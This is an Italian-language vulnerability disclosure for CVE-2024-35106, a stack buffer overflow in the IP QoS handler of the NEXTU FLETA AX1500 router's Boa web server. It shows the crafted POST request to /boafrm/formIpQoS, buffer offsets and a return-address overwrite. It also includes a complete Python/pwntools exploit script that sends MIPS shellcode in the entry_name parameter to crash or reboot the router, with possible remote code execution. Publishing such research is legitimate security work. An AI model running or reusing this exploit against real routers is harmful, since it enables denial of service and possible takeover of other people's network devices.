
Exploit proof-of-concept per CVE-2024-35106, un buffer overflow nello stack nel router Wi-Fi 6 NEXTU FLETA AX1500. Dimostra un denial-of-service e potenziale esecuzione di codice remoto tramite una richiesta POST manipolata al gestore IP QoS del server web Boa.
Questo documento descrive come è stato effettuato l'exploit sul router WiFI EZNET FLETA attraverso la vulnerabilità CVE-2024-35106.
[ID CVE] CVE-2024-35106
[Produttore] NEXTU
[Prodotto] FLATA AX1500 Wifi6 Router
[Versione] 1.0.3
[Tipo di vulnerabilità] Buffer overflow
Il router opera su architettura MIPS basata su chipset Realtek e little-endian.
La versione del firmware del router è v1.0.3.
Questo router utilizza il server web embedded Boa, la cui ultima release risale al 2005. Tuttavia, questo router impiega il server web Boa per il servizio della pagina web di amministrazione che controlla il firmware del router.
Le condizioni necessarie per attivare la vulnerabilità sono le seguenti:
Si verifica un overflow del buffer dello stack a causa della mancata verifica della lunghezza in byte del nome della regola IP QoS durante l'impostazione del QoS per un IP interno nella pagina di gestione web dell'amministratore del router.
Quando i parametri della richiesta di configurazione IP QoS vengono passati alla funzione handler formIpQoS di Boa, l'handler estrae la lunghezza in byte del parametro "entry_name" e la copia nella variabile acStack_1c0 utilizzando la funzione strcpy().

In quella funzione, la funzione strcpy viene utilizzata per copiare il buffer senza verificarne la dimensione.

Poiché la variabile acStack_1c0, che memorizza il binario del parametro entry_name copiato, è fissa a 16 byte, l'uso della funzione strcpy()—che non limita la dimensione dei dati copiati—provocherà un overflow del buffer.


La richiesta POST e i parametri del vettore di attacco sono i seguenti.
POST /boafrm/formIpQoS
BODY
enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=[ADD ARBITRARY CODE AREA]
Un attaccante prepara un binario che include due cose, codice binario arbitrario e indirizzo arbitrario, e lo imposta nel parametro entry_name della richiesta POST.
Quindi l'indirizzo RET, che si trova nell'indirizzo di memoria dello stack dell'handler formIpQoS, viene sovrascritto con un indirizzo arbitrario a causa dell'overflow dello stack.
(0x7f8548cc è l'indirizzo RET dello stack dell'handler formIpQoS)
Tuttavia, poiché la funzione handler deve completare la sua esecuzione normalmente, è necessario salvare in anticipo 10 set di regole IP QoS.

from pwn import *
from hackebds import *
def shutdown_shell_code():
context.update(arch='mips', os='linux', bits=32, endian='little')
cmd = "/bin/sh"
args = ["autoreboot"]
asmcode = shellcraft.mips.linux.execve(cmd, args, 0) + shellcraft.mips.linux.exit()
shellcode = asm(asmcode)
return shellcode
power_off_code = shutdown_shell_code()
gap_code = (b'A') * 0x138
# This is the area that overwrites the RET region. You can place the address to which you want to redirect the execution flow.
# For example I fixed address as 0x7f854710
RET_address = (b'\x10\x47\x85\x7f')
stack_gap = (b'C') * 0x40
print("power_off_code_length")
print(len(power_off_code))
final_code = power_off_code + gap_code + RET_address + stack_gap
import socket
import ssl
# Server Address and Port
HOST = '192.168.1.254'
PORT = 443
# Create an SSL socket for HTTPS connection
context = ssl.create_default_context()
context.set_ciphers('HIGH:!DH:!aNULL')
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((HOST, PORT)) as sock:
with context.wrap_socket(sock, server_hostname=HOST) as ssock:
# Prepare the shellcode as bytes (e.g., b'\x00\x01\x02'; replace with appropriate values for actual use)
# parameter for evade verification
send_byte = b"enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=" + final_code
# POST request headers
headers = b"POST /boafrm/formIpQoS HTTP/1.1\r\n" \
b"Host: " + HOST.encode('utf-8') + b"\r\n" \
b"Content-Type: application/octet-stream\r\n" \
b"Content-Length: " + str(len(send_byte)).encode(
'utf-8') + b"\r\nConnection: close\r\n\r\n"
# Send request (combine headers and body)
ssock.send(headers + send_byte)
# Receive response
response = b""
while True:
data = ssock.recv(1024)
if not data:
break
response += data
#Print response
print(response.decode('utf-8'))
Si noti che l'esecuzione di questo POC per la vulnerabilità causerà sicuramente un DOS. Tuttavia, potrebbe non verificarsi un'esecuzione arbitraria di codice remoto.
Questa vulnerabilità può essere sfruttata per attacchi DOS e potenziali attacchi RCE.
2024-05-16: Assegnato numero CVE - CVE-2024-35106
2024-05-16: Vulnerabilità segnalate ai produttori
2024-06-05: Risposta sulle vulnerabilità dai produttori
Ku In Hoe
Prof. assistente Seonghoon Jeong (Sookmyung Women’s University)